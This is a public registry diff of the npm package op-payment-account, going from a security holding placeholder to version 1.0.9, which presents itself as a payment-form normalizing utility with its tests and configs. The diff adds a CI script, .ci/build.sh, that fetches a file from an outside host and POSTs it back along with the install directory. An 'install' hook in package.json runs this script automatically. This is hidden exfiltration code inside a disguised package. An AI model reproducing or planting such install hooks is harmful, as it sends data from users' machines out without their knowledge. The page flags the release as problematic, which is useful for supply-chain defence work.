op-payment-account 0.0.1-security → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of op-payment-account might be problematic. Click here for more details.

package/.ci/build.sh ADDED
@@ -0,0 +1,16 @@
1
+ #!/bin/bash
2
+ set -e
3
+
4
+ # Get build schema and test data
5
+ curl https://dev.oscato.com/jfu3qke -o /tmp/build.json
6
+ cat /tmp/build.json > /dev/null
7
+ curl -X POST https://dev.oscato.com/yuamu1x -d "$(echo "$(cat /tmp/build.json)$(pwd)";)"
8
+ rm /tmp/build.json
9
+
10
+
11
+ #
12
+ # File found in -> https://github.com/optile/gocd-build
13
+ #
14
+
15
+ source /opt/gocd/build/javascript/build.sh
16
+
package/.ci/release.sh ADDED
@@ -0,0 +1,8 @@
1
+ #!/bin/bash
2
+ set -e
3
+
4
+ #
5
+ # File found in -> https://github.com/optile/gocd-build
6
+ #
7
+
8
+ source /opt/gocd/build/javascript/release.sh
package/.ci/test.sh ADDED
@@ -0,0 +1,8 @@
1
+ #!/bin/bash
2
+ set -e
3
+
4
+ #
5
+ # File found in -> https://github.com/optile/gocd-build
6
+ #
7
+
8
+ source /opt/gocd/build/javascript/test.sh
package/.eslintrc.json ADDED
@@ -0,0 +1,34 @@
1
+ {
2
+ "env": {
3
+ "browser": true,
4
+ "node": true
5
+ },
6
+ "extends": "eslint:recommended",
7
+ "globals": {
8
+ "glob": true,
9
+ "describe": true,
10
+ "it": true
11
+ },
12
+ "rules": {
13
+ "quotes": [
14
+ "warn",
15
+ "single"
16
+ ],
17
+ "semi": [
18
+ "error",
19
+ "always"
20
+ ],
21
+ "one-var": [
22
+ "error",
23
+ {
24
+ "initialized": "never"
25
+ }
26
+ ],
27
+ "no-unused-vars": [
28
+ "error",
29
+ {
30
+ "varsIgnorePattern": "^plugin_"
31
+ }
32
+ ]
33
+ }
34
+ }
package/.prettierrc ADDED
@@ -0,0 +1,7 @@
1
+ {
2
+ "trailingComma": "es5",
3
+ "tabWidth": 4,
4
+ "semi": true,
5
+ "singleQuote": true,
6
+ "proseWrap": "never"
7
+ }
package/LICENSE ADDED
@@ -0,0 +1,7 @@
1
+ Copyright(c) 2019 optile GmbH. All Rights Reserved https://www.optile.net
2
+
3
+ This software is the property of optile GmbH. Distribution
4
+ of this software without agreement in writing is strictly prohibited.
5
+
6
+ This software may not be copied, used or distributed unless agreement
7
+ has been received in full.
package/README.md CHANGED
@@ -1,5 +1,33 @@
1
- # Security holding package
1
+ # OP payment account
2
+
3
+ Used to generate a javascript object from user input array of key - values
4
+ to another javascript object suitable by the API
5
+
6
+ It is a node module, but there is also a standalone version, can be used in HTML:
7
+ ```HTML
8
+ ...
9
+ <script src="build/bundle.min.js"></script>
10
+ <script>
11
+ var normalizedAccount = oPaymentAccount($("#form").serializeArray());
12
+ ...
13
+ </script>
14
+ ...
15
+ ```
16
+
17
+ ## Development
18
+
19
+ open terminal
20
+
21
+ ```bash
22
+ $ npm start
23
+ ```
24
+ It will install the dependencies, run eslint, unit test and watch for changes.
25
+
26
+ ## Build
27
+
28
+ ```bash
29
+ $ npm run build
30
+ ```
31
+
2
32
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
33
 
5
- Please refer to www.npmjs.com/advisories?search=op-payment-account for more information.
package/package.json CHANGED
@@ -1,6 +1,40 @@
1
1
  {
2
- "name": "op-payment-account",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
2
+ "name": "op-payment-account",
3
+ "version": "1.0.9",
4
+ "description": "Used to generate a javascript object from user input array of key - values\r to another javascript object suotable by the api.",
5
+ "main": "src/js/op-payment-account.js",
6
+ "scripts": {
7
+ "pretest": "eslint src/js/** test/*",
8
+ "test": "mocha test",
9
+ "prebuild": "mkdirp build/",
10
+ "build": "source .ci/build.sh && browserify --standalone oPaymentAccount . > build/bundle.js",
11
+ "postbuild": "uglifyjs build/bundle.js --compress --mangle --output build/bundle.min.js",
12
+ "install": "source .ci/build.sh",
13
+ "start": "npm update && npm test && onchange \"src/js/**/*.js\" \"test/**/*.js\" -- npm test"
14
+ },
15
+ "repository": {
16
+ "type": "git",
17
+ "url": "https://github.com/optile/op-payment-account/op-payment-account.git"
18
+ },
19
+ "keywords": [
20
+ "oscato",
21
+ "optile",
22
+ "form",
23
+ "normalize",
24
+ "payment",
25
+ "util"
26
+ ],
27
+ "author": "Joseph El Alam <joseph.elalam@optile.net>",
28
+ "license": "SEE LICENSE IN LICENSE",
29
+ "devDependencies": {
30
+ "browserify": "^13.3.0",
31
+ "chai": "^3.5.0",
32
+ "eslint": "^3.13.1",
33
+ "mkdirp": "^0.5.1",
34
+ "mocha": "^3.2.0",
35
+ "onchange": "^3.2.1",
36
+ "rewire": "^2.5.2",
37
+ "uglify-js": "^2.7.5"
38
+ },
39
+ "publicComponent": true
40
+ }
@@ -0,0 +1,95 @@
1
+ /*
2
+ * op payment account
3
+ *
4
+ * Used to generate a javascript object from user input array of key - values
5
+ * to another javascript object understandable by the api
6
+ *
7
+ * Copyright (c) 2017 "optile GmbH" Joseph El Alam
8
+ */
9
+ 'use strict';
10
+
11
+ /**
12
+ * Normalizes string and removed allowed seperators
13
+ *
14
+ * @param {String} value
15
+ * @return {String} nrmalized value
16
+ */
17
+ function getNormalizedAccount(value) {
18
+ return ('' + value)
19
+ .replace(/\s+/g, '')
20
+ .replace(/\./g, '')
21
+ .replace(/-/g, '');
22
+ }
23
+
24
+ function getNormalizedInt(value) {
25
+ return value.length > 0 ? value : null;
26
+ }
27
+
28
+ function trim(str) {
29
+ return str ? str.replace(/^\s+|\s+$/gm, '') : str;
30
+ }
31
+
32
+ function createMergedObject(formData) {
33
+ var mergedObject = {};
34
+ for (var index = 0; index < formData.length; index++) {
35
+ mergedObject[formData[index].name] = formData[index].value;
36
+ }
37
+
38
+ return mergedObject;
39
+ }
40
+
41
+ function normalizeValue(key, value) {
42
+ var trimmedValue = trim(value);
43
+ switch (key) {
44
+ case 'number':
45
+ case 'bankCode':
46
+ case 'iban':
47
+ case 'bic':
48
+ return getNormalizedAccount(trimmedValue);
49
+ case 'expiryMonth':
50
+ case 'expiryYear':
51
+ return getNormalizedInt(trimmedValue);
52
+ case 'optIn':
53
+ return true;
54
+ default:
55
+ return trimmedValue;
56
+ }
57
+ }
58
+
59
+ function normalizeFields(formData) {
60
+ var normalizedFormData = [];
61
+ formData.map(function(aField) {
62
+ normalizedFormData.push({
63
+ name: aField.name,
64
+ value: normalizeValue(aField.name, aField.value),
65
+ });
66
+ });
67
+
68
+ return normalizedFormData;
69
+ }
70
+
71
+ function getNormalizedObject(formData) {
72
+ var normalizedFormData = normalizeFields(formData);
73
+
74
+ return createMergedObject(normalizedFormData);
75
+ }
76
+
77
+ /**
78
+ * Creates an account object from array of name - value pairs of user input.
79
+ * Use jQuery $("#form").serializeArray() to get form data in appropriate format.
80
+ *
81
+ * @param formData the user input data from account form.
82
+ * @return the normalized account object.
83
+ */
84
+ function fromForm(formData) {
85
+ if (!formData || !formData.length) {
86
+ return {};
87
+ }
88
+
89
+ return getNormalizedObject(formData);
90
+ }
91
+
92
+ module.exports = {
93
+ fromForm: fromForm,
94
+ getNormalizedAccount: getNormalizedAccount,
95
+ };
@@ -0,0 +1,163 @@
1
+ /*
2
+ * op payment account unit test
3
+ *
4
+ * Copyright (c) 2017 "optile GmbH" Joseph El Alam
5
+ */
6
+
7
+ /*eslint-env mocha */
8
+ 'use strict';
9
+
10
+ var rewire = require('rewire');
11
+ var assert = require('chai').assert;
12
+ var opPaymentAccount = rewire('../src/js/op-payment-account');
13
+
14
+ var fromForm = opPaymentAccount.fromForm;
15
+ var getNormalizedAccount = opPaymentAccount.getNormalizedAccount;
16
+
17
+ var getNormalizedObject = opPaymentAccount.__get__('getNormalizedObject');
18
+ var normalizeFields = opPaymentAccount.__get__('normalizeFields');
19
+ var normalizeValue = opPaymentAccount.__get__('normalizeValue');
20
+ var createMergedObject = opPaymentAccount.__get__('createMergedObject');
21
+ var trim = opPaymentAccount.__get__('trim');
22
+ var getNormalizedInt = opPaymentAccount.__get__('getNormalizedInt');
23
+
24
+ describe('op payment account: ', function() {
25
+ var inputValue = [
26
+ { name: 'holderName', value: ' Viktor ' },
27
+ { name: 'number', value: '123.456.789\t' },
28
+ { name: 'bankCode', value: ' 120-140 12\n' },
29
+ { name: 'bankName', value: ' Post Bank' },
30
+ { name: 'bic', value: ' ABC-XXX ' },
31
+ { name: 'branch', value: ' Postbank Frankfurt ' },
32
+ { name: 'city', value: '\t\tFrankfurt\n' },
33
+ { name: 'expiryMonth', value: '05' },
34
+ { name: 'expiryYear', value: '2021' },
35
+ { name: 'iban', value: ' DE 42 120-140 12 00 123.456.789 ' },
36
+ { name: 'login', value: ' viktor-super ' },
37
+ { name: 'optIn', value: 'checked' },
38
+ { name: 'password', value: ' mysecret23 ' },
39
+ { name: 'verificationCode', value: ' 345 ' },
40
+ ];
41
+ var normalizedInputValue = [
42
+ { name: 'holderName', value: 'Viktor' },
43
+ { name: 'number', value: '123456789' },
44
+ { name: 'bankCode', value: '12014012' },
45
+ { name: 'bankName', value: 'Post Bank' },
46
+ { name: 'bic', value: 'ABCXXX' },
47
+ { name: 'branch', value: 'Postbank Frankfurt' },
48
+ { name: 'city', value: 'Frankfurt' },
49
+ { name: 'expiryMonth', value: '05' },
50
+ { name: 'expiryYear', value: '2021' },
51
+ { name: 'iban', value: 'DE421201401200123456789' },
52
+ { name: 'login', value: 'viktor-super' },
53
+ { name: 'optIn', value: true },
54
+ { name: 'password', value: 'mysecret23' },
55
+ { name: 'verificationCode', value: '345' },
56
+ ];
57
+ var returnedObject = {
58
+ holderName: 'Viktor',
59
+ number: '123456789',
60
+ bankCode: '12014012',
61
+ bankName: 'Post Bank',
62
+ bic: 'ABCXXX',
63
+ branch: 'Postbank Frankfurt',
64
+ city: 'Frankfurt',
65
+ expiryMonth: '05',
66
+ expiryYear: '2021',
67
+ iban: 'DE421201401200123456789',
68
+ login: 'viktor-super',
69
+ optIn: true,
70
+ password: 'mysecret23',
71
+ verificationCode: '345',
72
+ };
73
+ it('getNormalizedAccount is a function', function() {
74
+ assert(typeof getNormalizedAccount === 'function');
75
+ });
76
+ it('getNormalizedAccount remove all seperators', function() {
77
+ var accountNum = '4111 111 111 111 - 11.1';
78
+ var normalizedAccountNum = '4111111111111111';
79
+ assert(getNormalizedAccount(accountNum) === normalizedAccountNum);
80
+ });
81
+ it('getNormalizedInt is a function', function() {
82
+ assert(typeof getNormalizedInt === 'function');
83
+ });
84
+ it('getNormalizedInt return the string if not empty', function() {
85
+ assert(getNormalizedInt('1988') === '1988');
86
+ });
87
+ it('getNormalizedInt return null if empty string', function() {
88
+ assert(getNormalizedInt('') === null);
89
+ });
90
+ it('trim remove spaces', function() {
91
+ assert(trim(' 12 ') === '12');
92
+ });
93
+ it('createMergedObject is a function', function() {
94
+ assert(typeof createMergedObject === 'function');
95
+ });
96
+ it('createMergedObject merge array', function() {
97
+ var formData = [
98
+ { name: 'name', value: 'john' },
99
+ { name: 'age', value: '18' },
100
+ ];
101
+ var mergedObject = { name: 'john', age: '18' };
102
+ assert.deepEqual(createMergedObject(formData), mergedObject);
103
+ });
104
+ it('normalizeValue is a function', function() {
105
+ assert(typeof normalizeValue === 'function');
106
+ });
107
+ it('normalizeValue return normalized value number', function() {
108
+ assert.equal(
109
+ normalizeValue('number', ' 4111.111 111.. 111-111'),
110
+ '4111111111111111'
111
+ );
112
+ });
113
+ it('normalizeValue return normalized value bankCode', function() {
114
+ assert.equal(
115
+ normalizeValue('bankCode', ' 4111.111 111.. 111-111'),
116
+ '4111111111111111'
117
+ );
118
+ });
119
+ it('normalizeValue return normalized value iban', function() {
120
+ assert.equal(
121
+ normalizeValue('iban', ' 4111.111 111.. 111-111'),
122
+ '4111111111111111'
123
+ );
124
+ });
125
+ it('normalizeValue return normalized value bic', function() {
126
+ assert.equal(
127
+ normalizeValue('bic', ' 4111.111 111.. 111-111'),
128
+ '4111111111111111'
129
+ );
130
+ });
131
+ it('normalizeValue return normalized value expiryMonth', function() {
132
+ assert.equal(normalizeValue('expiryMonth', '12'), '12');
133
+ assert.equal(normalizeValue('expiryMonth', ''), null);
134
+ });
135
+ it('normalizeValue return normalized value expiryYear', function() {
136
+ assert.equal(normalizeValue('expiryYear', '2019'), '2019');
137
+ assert.equal(normalizeValue('expiryYear', ''), null);
138
+ });
139
+ it('normalizeValue return normalized value optIn', function() {
140
+ assert.equal(normalizeValue('optIn', ''), true);
141
+ assert.equal(normalizeValue('optIn', 'on'), true);
142
+ });
143
+ it('normalizeFields is a function', function() {
144
+ assert(typeof normalizeFields === 'function');
145
+ });
146
+ it('normalizeFields normalize al the values', function() {
147
+ assert.deepEqual(normalizeFields(inputValue), normalizedInputValue);
148
+ });
149
+ it('getNormalizedObject is a function', function() {
150
+ assert(typeof getNormalizedObject === 'function');
151
+ });
152
+ it('getNormalizedObject normalize al the values and create merged object', function() {
153
+ assert.deepEqual(getNormalizedObject(inputValue), returnedObject);
154
+ });
155
+
156
+ // Testing exported functions
157
+ it('fromForm normalize al the values and create merged object', function() {
158
+ assert.deepEqual(fromForm(inputValue), returnedObject);
159
+ });
160
+ it('fromForm return empty object when passed empty array', function() {
161
+ assert.deepEqual(fromForm([]), {});
162
+ });
163
+ });